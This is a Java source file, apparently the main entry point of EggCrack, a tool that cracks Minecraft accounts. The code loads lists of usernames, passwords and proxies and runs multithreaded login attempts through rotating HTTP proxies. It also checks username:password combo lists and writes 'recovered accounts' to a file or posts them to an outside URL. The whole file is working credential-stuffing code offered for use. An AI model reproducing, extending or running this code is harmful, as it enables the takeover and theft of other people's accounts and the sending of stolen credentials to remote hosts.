package net.teamlixo.eggcrack;
import com.google.gson.Gson;
import com.mojang.authlib.Agent;
import joptsimple.ArgumentAcceptingOptionSpec;
import joptsimple.OptionParser;
import joptsimple.OptionSet;
import net.teamlixo.eggcrack.account.Account;
import net.teamlixo.eggcrack.account.output.AccountOutput;
import net.teamlixo.eggcrack.account.output.FileAccountOutput;
import net.teamlixo.eggcrack.account.output.UrlAccountOutput;
import net.teamlixo.eggcrack.authentication.AuthenticationService;
import net.teamlixo.eggcrack.config.Configuration;
import net.teamlixo.eggcrack.config.JsonConfiguration;
import net.teamlixo.eggcrack.credential.Credential;
import net.teamlixo.eggcrack.credential.Credentials;
import net.teamlixo.eggcrack.list.ExtendedList;
import net.teamlixo.eggcrack.list.array.ExtendedArrayList;
import net.teamlixo.eggcrack.account.output.AttemptedAccount;
import net.teamlixo.eggcrack.objective.Objective;
import net.teamlixo.eggcrack.objective.ObjectiveCompleted;
import net.teamlixo.eggcrack.objective.ObjectiveRequests;
import net.teamlixo.eggcrack.objective.ObjectiveTime;
import net.teamlixo.eggcrack.plugin.FilePluginManager;
import net.teamlixo.eggcrack.plugin.SystemPluginManager;
import net.teamlixo.eggcrack.plugin.java.json.JsonPluginLoader;
import net.teamlixo.eggcrack.session.Session;
import net.teamlixo.eggcrack.session.Tracker;
import net.teamlixo.eggcrack.ui.UserInterface;
import javax.swing.*;
import javax.swing.event.HyperlinkEvent;
import javax.swing.event.HyperlinkListener;
import java.awt.*;
import java.io.*;
import java.net.*;
import java.util.Calendar;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;
import java.util.concurrent.ThreadPoolExecutor;
import java.util.logging.ConsoleHandler;
import java.util.logging.FileHandler;
import java.util.logging.Level;
import java.util.logging.Logger;
public final class Main {
public static final void main(String[] args) throws
IOException, ClassNotFoundException, UnsupportedLookAndFeelException,
InstantiationException, IllegalAccessException {
//Prefer IPv4 stack. Fixes some issues.
System.setProperty("java.net.preferIPv4Stack", "true");
//Configure the logger (It's just going to output to console)
EggCrack.LOGGER = Logger.getLogger("EggCrack");
ConsoleHandler consoleHandler = new ConsoleHandler();
consoleHandler.setFormatter(new LineLogFormatter());
EggCrack.LOGGER.addHandler(consoleHandler);
EggCrack.LOGGER.setUseParentHandlers(false);
EggCrack.LOGGER.setLevel(Level.ALL);
//Read in parameters.
OptionParser optionsParser = new OptionParser();
ArgumentAcceptingOptionSpec consoleArgument = optionsParser.accepts("console").withOptionalArg();
ArgumentAcceptingOptionSpec debugArgument = optionsParser.accepts("debug").withOptionalArg();
ArgumentAcceptingOptionSpec configArgument = optionsParser.accepts("config").withRequiredArg().ofType(String.class).defaultsTo("eggcrack.json");
ArgumentAcceptingOptionSpec methodArgument = optionsParser.accepts("method").withOptionalArg().ofType(String.class).defaultsTo("Minecraft");
ArgumentAcceptingOptionSpec proxyArgument = optionsParser.accepts("proxies").withRequiredArg().ofType(String.class).defaultsTo("proxies.txt");
ArgumentAcceptingOptionSpec usernameArgument = optionsParser.accepts("usernames").withRequiredArg().ofType(String.class).defaultsTo("usernames.txt");
ArgumentAcceptingOptionSpec passwordArgument = optionsParser.accepts("passwords").withRequiredArg().ofType(String.class).defaultsTo("passwords.txt");
ArgumentAcceptingOptionSpec threadsArgument = optionsParser.accepts("threads").withRequiredArg().ofType(Integer.class).defaultsTo(Integer.valueOf(32));
ArgumentAcceptingOptionSpec intervalArgument = optionsParser.accepts("interval").withRequiredArg().ofType(Integer.class).defaultsTo(Integer.valueOf(10));
ArgumentAcceptingOptionSpec checkArgument = optionsParser.accepts("checkUrl").withOptionalArg().ofType(String.class);
ArgumentAcceptingOptionSpec proxyTimeout = optionsParser.accepts("proxyTimeout").withOptionalArg().ofType(Integer.class);
ArgumentAcceptingOptionSpec completedObjectiveArgument = optionsParser.accepts("objectiveCompleted").withOptionalArg().ofType(Integer.class);
ArgumentAcceptingOptionSpec timeObjectiveArgument = optionsParser.accepts("objectiveSeconds").withOptionalArg().ofType(Integer.class);
ArgumentAcceptingOptionSpec requestObjectiveArgument = optionsParser.accepts("objectiveRequests").withOptionalArg().ofType(Integer.class);
ArgumentAcceptingOptionSpec fileOutputArgument = optionsParser.accepts("outputFile").withOptionalArg().ofType(String.class);
ArgumentAcceptingOptionSpec urlOutputArgument = optionsParser.accepts("outputUrl").withOptionalArg().ofType(String.class);
ArgumentAcceptingOptionSpec logFileArgument = optionsParser.accepts("logFile").withOptionalArg().ofType(String.class);
ArgumentAcceptingOptionSpec logLevelArgument = optionsParser.accepts("logLevel").withOptionalArg().ofType(String.class).defaultsTo("warn");
ArgumentAcceptingOptionSpec checkAccountsArgument = optionsParser.accepts("check").withOptionalArg();
OptionSet optionSet = optionsParser.parse(args);
if (optionSet.has(debugArgument)) {
consoleHandler.setLevel(Level.FINEST);
EggCrack.LOGGER.fine("Console debugging enabled.");
} else consoleHandler.setLevel(Level.INFO);
File file = new File((String) optionSet.valueOf(configArgument));
Configuration configuration = (new Gson()).fromJson(new InputStreamReader(new FileInputStream(file)), JsonConfiguration.class);
String branch = ((JsonConfiguration)configuration).getUpdateBranch();
int version = configuration.getVersion();
System.out.println("EggCrack build " + configuration.getVersion() + ", Copyright (C) Team Lixo");
System.out.println("EggCrack comes with ABSOLUTELY NO WARRANTY. This is free software,");
System.out.println("and you are welcome to redistribute it under certain conditions.");
System.out.println("");
final boolean guiAvailable = Desktop.isDesktopSupported() && !GraphicsEnvironment.isHeadless();
boolean guiEnabled = !optionSet.has(consoleArgument);
if (configuration.isUpdateEnabled()) {
EggCrack.LOGGER.fine("Checking for updates to build #" + version + " on branch " + branch + "...");
try {
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(configuration.getUpdateURL().openStream()));
int remoteVersion = Integer.parseInt(bufferedReader.readLine());
if (remoteVersion > 0 && remoteVersion > version) {
EggCrack.LOGGER.warning("A newer version of EggCrack is available: build #" + remoteVersion + ".");
EggCrack.LOGGER.warning("Download at GitHub: https://github.com/Manevolent/EggCrack");
if (guiEnabled) {
JLabel label = new JLabel();
JEditorPane ep = new JEditorPane("text/html",
"<html>An update for EggCrack is available for download online. " +
"If you would like to download this update, please visit our GitHub page:<br/><br/>" +
"<a href=\"https://github.com/Manevolent/EggCrack\">https://github.com/Manevolent/EggCrack</a><br/>" +
"Current build: #" + version + "<br/><b>Updated build: #" + remoteVersion + " (branch: " + branch + ")</b><br/><br/>" +
"If you would not like to be notified with these messages, see your eggcrack.json configuration.<br/><br/></html>"
);
ep.setBackground(label.getBackground());
ep.setEditable(false);
ep.addHyperlinkListener(new HyperlinkListener()
{
@Override
public void hyperlinkUpdate(HyperlinkEvent e)
{
if (e.getEventType().equals(HyperlinkEvent.EventType.ACTIVATED))
if (guiAvailable)
{
try {
Desktop.getDesktop().browse(e.getURL().toURI());
System.exit(0);
} catch (IOException e1) {
} catch (URISyntaxException e1) {
}
}
}
});
JOptionPane.showMessageDialog(null, ep);
}
} else {
EggCrack.LOGGER.fine("Update check complete; no new versions found.");
}
} catch (Exception ex) {
EggCrack.LOGGER.warning("Problem retrieving updates from the repository:");
ex.printStackTrace();
}
}
//Load plugins in console mode.
FilePluginManager pluginManager = new SystemPluginManager();
pluginManager.registerPluginLoader("jar", new JsonPluginLoader());
EggCrack.setInstance(new EggCrack(pluginManager, version));
try {
EggCrack.LOGGER.info("Loading plugins...");
EggCrack.getInstance().loadPlugins(new File("." + File.separator + "plugins" + File.separator));
} catch (UnsupportedOperationException ex) {
EggCrack.LOGGER.warning("Problem loading plugins:");
ex.printStackTrace();
}
//Find method.
for (AuthenticationService thisService : EggCrack.getInstance().listAuthenticationServices())
EggCrack.LOGGER.fine("Available authentication service: " + thisService.getName().toLowerCase());
//Decide if we need to fork off into GUI mode or not.
if (guiEnabled) {
if (!guiAvailable)
throw new UnsupportedOperationException("Desktop environment not supported on this system.");
EggCrack.LOGGER.fine("Skipping console arguments and launching in GUI-mode...");
//Run EggCrack.
UserInterface.main(args);
//Shutdown.
shutdown();
return;
}
String method = (String) optionSet.valueOf(methodArgument);
AuthenticationService authenticationService = null;
if (method.trim().length() <= 0) {
EggCrack.LOGGER.severe("Authentication method not specified");
return;
} else {
for (AuthenticationService thisService : EggCrack.getInstance().listAuthenticationServices()) {
if (thisService.getName().equalsIgnoreCase(method)) {
authenticationService = thisService;
break;
}
}
}
if (authenticationService == null) {
EggCrack.LOGGER.severe("No suitable authentication service was found for requested \"" + method.toLowerCase() + "\".");
return;
} else EggCrack.LOGGER.info("Using selected authentication service " + authenticationService.getName()
+ " (" + authenticationService.getClass().getName() + ").");
int threads = (Integer) optionSet.valueOf(threadsArgument);
float interval = ((Integer) optionSet.valueOf(intervalArgument)) / 1f;
URL checkUrl = null;
if (optionSet.has(checkArgument)) {
try {
checkUrl = URI.create(optionSet.valueOf(checkArgument).toString()).toURL();
} catch (MalformedURLException e) {
e.printStackTrace();
return;
} catch (IllegalArgumentException e) {
e.printStackTrace();
return;
}
}
EggCrack.LOGGER.fine("[Options] threads=" + threads);
EggCrack.LOGGER.fine("[Options] interval=" + interval + " requests/sec");
ExtendedList<Objective> objectiveList = new ExtendedArrayList<Objective>();
if (optionSet.has(completedObjectiveArgument))
objectiveList.add(new ObjectiveCompleted((Integer) optionSet.valueOf(completedObjectiveArgument)));
if (optionSet.has(timeObjectiveArgument))
objectiveList.add(new ObjectiveTime((Integer) optionSet.valueOf(timeObjectiveArgument)));
if (optionSet.has(requestObjectiveArgument))
objectiveList.add(new ObjectiveRequests((Integer) optionSet.valueOf(requestObjectiveArgument)));
if (objectiveList.size() <= 0) {
EggCrack.LOGGER.warning("No objectives provided! Session will continue until all accounts are attempted.");
} else {
EggCrack.LOGGER.fine("[Options] objectives=" + objectiveList.size());
}
ExtendedList<AccountOutput> outputList = new ExtendedArrayList<AccountOutput>();
if (optionSet.has(fileOutputArgument))
outputList.add(new FileAccountOutput(new File(optionSet.valueOf(fileOutputArgument).toString())));
if (optionSet.has(urlOutputArgument))
outputList.add(new UrlAccountOutput(URI.create(optionSet.valueOf(urlOutputArgument).toString()).toURL()));
if (outputList.size() <= 0) {
EggCrack.LOGGER.warning("No outputs provided! Recovered accounts will not be saved.");
} else {
EggCrack.LOGGER.fine("[Options] outputs=" + outputList.size());
}
if (optionSet.has(logFileArgument)) {
try {
FileHandler fileHandler = new FileHandler(optionSet.valueOf(logFileArgument).toString());
fileHandler.setFormatter(new LineLogFormatter());
String level = optionSet.valueOf(logLevelArgument).toString().trim();
if (level.equalsIgnoreCase("info")) {
fileHandler.setLevel(Level.INFO);
} else if (level.equalsIgnoreCase("warn")) {
fileHandler.setLevel(Level.WARNING);
} else if (level.equalsIgnoreCase("severe")) {
fileHandler.setLevel(Level.SEVERE);
} else {
EggCrack.LOGGER.severe("Unknown log level (info/warn/severe): " + level.toLowerCase() + ".");
return;
}
EggCrack.LOGGER.info("Logging enabled; appending " + level.toUpperCase() + " entries to " + (new File(optionSet.valueOf(logFileArgument).toString())).getAbsolutePath());
EggCrack.LOGGER.addHandler(fileHandler);
} catch (IOException e) {
e.printStackTrace();
return;
}
}
EggCrack.LOGGER.info("Starting EggCrack at " + Calendar.getInstance().getTime().toString() + "...");
//Set up the executor service responsible for executing threads.
ThreadPoolExecutor executorService = (ThreadPoolExecutor) Executors.newFixedThreadPool(
threads,
new AuthenticatorThreadFactory(Thread.MIN_PRIORITY)
);
Tracker tracker = new Tracker();
//Import accounts from file.
ExtendedList<Account> accountList = new ExtendedArrayList<Account>();
if (!optionSet.has(checkAccountsArgument)) {
File usernameFile = new File(optionSet.valueOf(usernameArgument).toString());
BufferedReader usernameReader = new BufferedReader(new FileReader(usernameFile));
while (usernameReader.ready()) {
String line = usernameReader.readLine();
if (line.trim().length() <= 0) continue;
accountList.add(new AttemptedAccount(line.trim()));
}
usernameReader.close();
EggCrack.LOGGER.info("Loaded " + accountList.size() + " usernames (" + usernameFile.getAbsolutePath() + ").");
} else {
File usernameFile = new File(optionSet.valueOf(checkAccountsArgument).toString());
BufferedReader usernameReader = new BufferedReader(new FileReader(usernameFile));
while (usernameReader.ready()) {
String line = usernameReader.readLine();
if (line.trim().length() <= 0) continue;
String[] params = line.split(":");
if (params.length < 2) {
EggCrack.LOGGER.warning("Bad line");
}
AttemptedAccount account = new AttemptedAccount(params[0].trim());
account.setUncheckedPassword(params[1]);
accountList.add(account);
}
usernameReader.close();
EggCrack.LOGGER.info("Loaded " + accountList.size() + " unchecked accounts (" + usernameFile.getAbsolutePath() + ").");
}
//Import credentials from file.
ExtendedList<Credential> credentialList = new ExtendedArrayList<Credential>();
if (!optionSet.has(checkAccountsArgument)) {
File passwordFile = new File(optionSet.valueOf(passwordArgument).toString());
BufferedReader passwordReader = new BufferedReader(new FileReader(passwordFile));
while (passwordReader.ready())
credentialList.add(Credentials.createPassword(passwordReader.readLine().trim()));
passwordReader.close();
EggCrack.LOGGER.info("Loaded " + credentialList.size() + " passwords (" + passwordFile.getAbsolutePath() + ").");
}
//Import proxies from file.
ExtendedList<Proxy> proxyList = new ExtendedArrayList<Proxy>();
if (optionSet.has(proxyArgument)) {
File proxyFile = new File(optionSet.valueOf(proxyArgument).toString());
BufferedReader proxyReader = new BufferedReader(new FileReader(proxyFile));
while (proxyReader.ready()) {
String[] proxyLine = proxyReader.readLine().split(":");
try {
proxyList.add(new Proxy(Proxy.Type.HTTP, new InetSocketAddress(proxyLine[0], Integer.parseInt(proxyLine[1]))));
} catch (Exception ex) {
EggCrack.LOGGER.warning("Problem loading proxy: " + ex.getMessage());
}
}
proxyReader.close();
EggCrack.LOGGER.info("Loaded " + proxyList.size() + " proxies (" + proxyFile.getAbsolutePath() + ").");
} else proxyList.add(Proxy.NO_PROXY);
//Initialize the EggCrack instance to create a credential store.
final Session session = new Session(
executorService,
authenticationService,
accountList,
credentialList,
proxyList,
objectiveList,
outputList,
tracker,
checkUrl,
optionSet.has(proxyTimeout) ? (Integer) optionSet.valueOf(proxyTimeout) : 1000
);
//Run EggCrack.
session.run();
//Shutdown.
shutdown();
}
private static final void shutdown() {
EggCrack.LOGGER.info("Unloading plugins...");
EggCrack.getInstance().unloadPlugins();
EggCrack.LOGGER.info("Shutdown complete.");
System.exit(0);
}
}